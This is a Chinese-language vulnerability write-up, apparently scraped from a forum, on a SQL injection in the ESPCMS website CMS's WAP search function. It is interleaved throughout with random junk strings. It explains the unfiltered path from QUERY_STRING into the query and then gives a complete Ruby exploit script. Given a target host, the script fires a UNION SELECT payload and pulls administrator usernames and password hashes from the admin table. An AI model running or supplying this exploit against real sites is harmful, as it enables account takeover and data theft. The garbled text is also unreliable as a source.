0×0 漏洞概述0×1 漏洞细节! \9 C9 e/ ]" C1 K1 r$ l( j1 M
0×2 PoC3 {% i6 N% V- X8 j
$ ^5 ^" Z( u/ r1 X* N0 |. r. n" r
: e+ e9 C7 ^) {( Y/ G: D
) t- ^& w1 V6 F/ S: d1 S) \- H. G0×0 漏洞概述, h! E* X& }* ~. |+ x
8 `- b ^; L# k: P$ C& o" d# F" R
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
* I, G! m1 Q2 K0 A其在处理传入的参数时考虑不严谨导致SQL注入发生
5 H- ~2 h5 O! H" Q
" f2 m2 x* q! l% C; D0 K& A W- s$ P" u% x# A
0×1 漏洞细节
$ }4 W8 {0 K. j/ h9 H+ L5 L! m
9 b2 e- m' f9 o8 y8 ?% ?变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。( D1 `6 I3 A$ k h A. k8 d
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。 g+ O+ S; I5 `5 Z6 W) F
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
* t' c) p$ S6 G v- i. Q
# }# {. @1 e: V8 y" v- s4 {! G在/interface/3gwap_search.php文件的in_result函数中:
4 G' M, q: \' E- s! |" O
6 o6 u) h; ~2 F0 C2 X6 d2 Q! a7 `8 R( `8 t8 m" P' y
5 Z6 W/ u+ H" z* i# j& e8 ]9 y function in_result() {
9 e& A4 r6 _, t( C- Y) B ... ... ... ... ... ... ... ... ...
' G& W7 k8 z0 w5 Y $urlcode = $_SERVER[ 'QUERY_STRING '];+ F' G5 p+ [& p
parse_str(html_entity_decode($urlcode), $output);
- i+ w2 L0 @1 L+ V- s( J/ B: B( [" O L
... ... ... ... ... ... ... ... ...$ x$ q& l2 P5 h- H3 i' J; t
if (is_array($output['attr' ]) && count($output['attr']) > 0) {+ w8 t _, v6 ^
2 H: s9 F# e0 d! r- F) F. _1 t8 K; w4 H, { $db_table = db_prefix . 'model_att';% P9 ]; e g2 T* e' v- L
+ Z" Y4 Q+ n8 |3 U! R
foreach ($output['attr' ] as $key => $value) {) j1 h- ` o. w. v7 H
if ($value) {5 C# t/ z. E& C% z1 M
$ u$ Z0 J0 Y, U# n
$key = addslashes($key);" T( x& {6 O9 z) m9 Q
$key = $this-> fun->inputcodetrim($key);
: ~. u2 W1 X$ H! r0 g- m0 S $db_att_where = " WHERE isclass=1 AND attrname='$key'";$ M, H' c" Y0 m/ p; g
$countnum = $this->db_numrows($db_table, $db_att_where);' k4 M4 v0 i; H" t, t
if ($countnum > 0) {
9 X0 g, d: v" I- o2 G1 K6 e $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
H' g4 z( W0 k }9 B: F; J- _' n: h* @: I$ J! s1 M
}
4 u1 ] ^' ?* a/ ~. @/ g }
0 L4 J! i+ Z5 f0 Z# a# l. } }% ~* t/ a6 K) n* n! S
if (!empty ($keyword) && empty($keyname)) {% F( I: D1 ^: g# J! L
$keyname = 'title';1 o$ ]9 A1 I K6 Y3 p
$db_where.= " AND a.title like '%$keyword%'" ;5 q6 J3 z- n# P A8 Y) Q4 Y
} elseif (!empty ($keyword) && !empty($keyname)) {
- u' I0 F$ Y9 b% Q4 I7 A+ y $db_where.= " AND $keyname like '% $keyword%'";; l: e4 @1 Q: c$ s, @
}) a/ x9 ^9 b2 q! n: y; a
$pagemax = 15;
3 s: B# j7 ]. M6 }" T0 O0 @
; x1 }$ W O; ^& w/ x% r { $pagesylte = 1;
2 W2 V/ |" B, o. j% ~- L+ i+ i4 T7 N" h) O1 ^
if ($countnum > 0) {
/ o# C# f7 j' F. U
2 |, J, {' q9 m& |$ e6 X% u7 t $numpage = ceil($countnum / $pagemax);
. c# s$ V1 z3 G- I# t+ \6 F } else {! _, u" n1 i. l7 q9 k) b
$numpage = 1;! }4 Z: T" l3 g2 W3 \
}
4 h7 @: n6 K$ J $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
. Q3 K" Z% F0 H& D* T+ P $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
! {4 S5 I$ l* p) u+ v7 ]( R$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);8 E3 Z8 v$ E F, [: ?
... ... ... ... ... ... ... ... ...
; X4 ]8 W; G+ C) Y! B1 ] }
# X1 J9 c- H# c/ a, m/ U
. c# T7 G9 p/ I' P. }1 }4 M+ K1 a2 G
0×2 PoC
- u7 E& E! o+ o# M3 M4 n
2 n$ o# ~! @, a5 |/ }
, g2 U. @- C6 x1 h5 x
E7 |* o* M! z! Y- Arequire "net/http"& I8 O, C0 q* B; k
: U3 y6 B2 ]8 M- R* n* t
def request(method, url)2 k& H) r; i q( v; \7 O
if method.eql?("get")* X2 N# r1 m# f5 h9 p2 P& i% Q
uri = URI.parse(url)
0 j- l# Z0 F0 b2 R http = Net::HTTP.new(uri.host, uri.port)4 m' L ^' t' U; ~
response = http.request(Net::HTTP::Get.new(uri.request_uri))
" o3 T" l( N1 r5 A+ b x% d return response' d: K; } v( g5 f, }
end
( A9 ]; ~. v; H5 E- ?end
$ U% b8 X! R6 j3 r; @( D* W6 K5 |0 C
6 U# s+ w F1 W9 S- G$ Xdoc =<<HERE
, d4 q Q: e, {& D$ `0 x1 @-------------------------------------------------------' }- \+ B) k8 J
Espcms Injection Exploit# U1 L0 K6 z( N* D( }
Author:ztz
, y0 ]! w1 _- o: X: k1 HBlog:http://ztz.fuzzexp.org/9 m2 p/ \) E4 ^
-------------------------------------------------------
k, H9 H K% F& l
* ~, F/ {( w8 G. LHERE
% q; e, J2 J/ Q7 [) c6 B8 P
+ J/ O' r4 G& Kusage =<<HERE
" J5 d9 @7 ~3 b- F+ ~0 CUsage: ruby #{$0} host port path. ~2 h& g B2 |+ u2 x! d: J/ u
example: ruby #{$0} www.target.com 80 /. y7 I, `3 q8 H2 @9 k7 m. R
HERE
1 l$ h5 N# v; ]+ @% L! J5 |5 }6 d M; a7 G
puts doc5 o$ a' E$ D( Q2 F2 [4 D7 ?
if ARGV.length < 3
9 s1 P6 j3 H+ ]& S) f- B puts usage! Z) h/ T+ I; B- h5 c+ ?
else
$ `8 c( z1 X7 C $host = ARGV[0]6 h. \* G" I6 _1 w! ]
$port = ARGV[1]
7 ] ^: ]9 S5 q+ { $path = ARGV[2]! ^5 |. @& Q8 ]) C% y4 J1 p) S
6 _6 O. I5 N6 M# Z- @& X6 e
puts "send request..."9 u/ [* C! _7 Z6 c7 y1 G
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&( v' F8 h0 |7 ^8 H. `
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
0 k. e* q7 ~/ \$ k) K V0 m8 j0 p1 ^,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
/ I5 {6 N% ]9 y% N2 g,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23", |: ^7 O( L2 `. O9 R
response = request("get", url)
2 _; Z" g2 U- K result = response.body.scan(/\w+&\w{32}/)
3 W& _( ~0 d' [; c. } puts result4 z- J1 _# w3 H- f5 `# u
end
) j& T1 H% q7 p4 j, L2 D# Y7 P+ o
|